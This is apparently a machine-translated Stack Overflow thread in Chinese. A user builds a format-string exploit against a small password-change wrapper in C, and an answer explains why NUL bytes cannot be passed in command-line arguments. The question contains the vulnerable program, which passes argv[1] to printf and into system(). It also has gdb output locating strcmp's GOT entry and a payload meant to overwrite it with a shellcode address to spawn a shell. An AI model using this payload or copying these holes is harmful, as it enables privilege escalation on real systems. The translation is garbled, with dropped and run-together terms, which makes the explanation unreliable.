写入以空字节开头的内存

gfr*_*cqu 5 c security format-string

假设这段代码:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char** argv){
    char fonction[50] = "/usr/bin/passwd ";
    char messageAccueil[100] = "changement du mot de passe de  : ";
    if(argc == 1){
        printf("vous devez passer un username en parametre \n");
        return 1;
    }
    printf(messageAccueil);
    printf(argv[1]); //<-- format string vulnerability here !!
    if(strcmp(argv[1], "root")==0){
        printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n");
        return 1;
    }
    printf("\n");
    strncat(fonction,argv[1],38);
    system(fonction);
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

我想通过利用格式化字符串漏洞给exec外壳,所以,我想改写strcmp由存储到环境变量我的shellcode的地址从GOT函数地址.

gdb 给我 :

(gdb) info functions
0x0000000000400570  strcmp@plt
(gdb) disas 0x400570
Dump of assembler code for function strcmp@plt:
0x0000000000400570 <+0>:    jmp    QWORD PTR [rip+0x20070a]#0x600c80 <strcmp@got.plt>
0x0000000000400576 <+6>:    push   0x6
0x000000000040057b <+11>:   jmp    0x400500
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

所以我想写我的shellcode地址 0x00600c80

如何将nullbyte传递给我的./changepasswd文件?

我实际上正在尝试这个漏洞:

/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136\$x%59017d%137\$x
Run Code Online (Sandbox Code Playgroud)

这给了我一个地址 600c845f

但是\x00没有影响,也没有存入堆栈.

我发现adress开始的地址可以通过和ascii铠装问题但是exec-shield选项在我的系统中完全没有.

所以我正在寻找一种方法将00写入我的堆栈或者让我的GOT地址由00以外的其他东西启动.

ric*_*ici 2

这里有两个问题。或者,更好地说,有两种不可能。

首先,有一个 shell 问题:如何将包含 NUL 的字符串作为命令行参数传递给实用程序。

Shell 变量不能包含NULs,因此无法构造参数字符串并将其作为参数传递。[注 1] 但是,您可以构造一个包含 a 的流NUL,并将其通过管道传输到stdin某些实用程序中。只需找到一个实用程序,将其输入转换为其他实用程序的命令行参数即可;那会是xargs。所以你可以尝试以下方法:

printf '\0This is an argument' | xargs -I{} ./victim {}
Run Code Online (Sandbox Code Playgroud)

然而,这是行不通的(而且大多数实现xargs甚至不会让你尝试[注2]),因为第二个问题:参数argvto是一个以 - 结尾main的字符串数组,所以每个命令行参数都是由第一个终止。因此,即使您设法找到一种将所有字节传递到数组中的方法,实用程序也会将 视为终止参数,而不是参数的一部分。(例如,将从第一个参数开始打印字节,直到到达;NULNULargvNULprintf(argv[1])NULNUL表示格式字符串的结尾。)

但是您找不到一种方法来做到这一点,因为exec*系统库函数(其中一个是将参数传递到另一个可执行文件所必需的)也会将 视为NUL终止相应的参数。由于该exec*函数需要将参数复制到新的可执行映像的地址空间中,并且当到达参数末尾时复制将终止,因此后面的任何字节都NUL将不被复制。


笔记:

  1. Shell 有不同的方法来处理NUL使用命令替换插入 s 的尝试。例如,Bash 只删除NULs,但其他 shell 可能会在第一个 处终止替换NUL

  2. 作为记录,Gnu 实现xargs将产生以下有用的消息:

    xargs:警告:输入中出现 NUL 字符。它不能在参数列表中传递。您的意思是使用 --null 选项吗?